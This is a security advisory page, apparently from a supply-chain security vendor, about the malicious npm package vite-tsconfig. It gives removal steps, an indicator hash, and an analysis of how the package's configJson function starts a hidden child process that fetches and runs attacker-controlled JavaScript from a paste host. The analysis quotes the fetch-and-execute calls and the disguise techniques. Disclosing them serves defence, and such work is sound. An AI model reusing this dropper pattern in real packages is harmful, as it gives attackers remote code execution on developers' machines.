Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

vite-tsconfignpm

Malicious code in vite-tsconfig (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5576
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall vite-tsconfig

What this malware does

The package is named vite-tsconfig and replicates the public API of the legitimate tsconfig-paths library (register, loadConfig, createMatchPath, matchFromAbsolutePaths), but adds an extra exported function configJson that is not present upstream. When a consumer calls configJson(), lib/config-loader.js spawns a detached, stdio-suppressed node lib/mapProps.js child process (child_process.spawn with detached:true and child.unref()). lib/mapProps.js then issues axios.get('https://www.jsonkeeper.com/b/5IZTJ') with header x-secret-key: _, takes response.data.Cookie, and executes it as JavaScript with full Node capability via new Function('require', s)(require) — retried up to 5 times. jsonkeeper.com is an anonymous public JSON paste host, so the executed payload is mutable and attacker-controlled, giving the publisher arbitrary remote code execution on any machine where a consumer invokes the documented configJson API. The remote URL is camouflaged as DEV_API_KEY inside a fake process.env shadow object, and the loader is wrapped in pino-logger-shaped config (messageKey/levels in lib/config-loader.js) to disguise the dropper. README references vite-json and dividab/tsconfig-paths, confirming the impersonation framing.

Malicious versions

1 flagged
1.1.0

Indicators of compromise (SHA-256)

142b4a600291ebf355bb7915c082c34b329e58026dc3c1f181a5b1865c16cff9

Frequently asked questions

No. vite-tsconfig on npm has been identified as a malicious package (version 1.1.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005599

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
vite-tsconfig (npm) malicious package — MAL-2026-5576 | O3 Security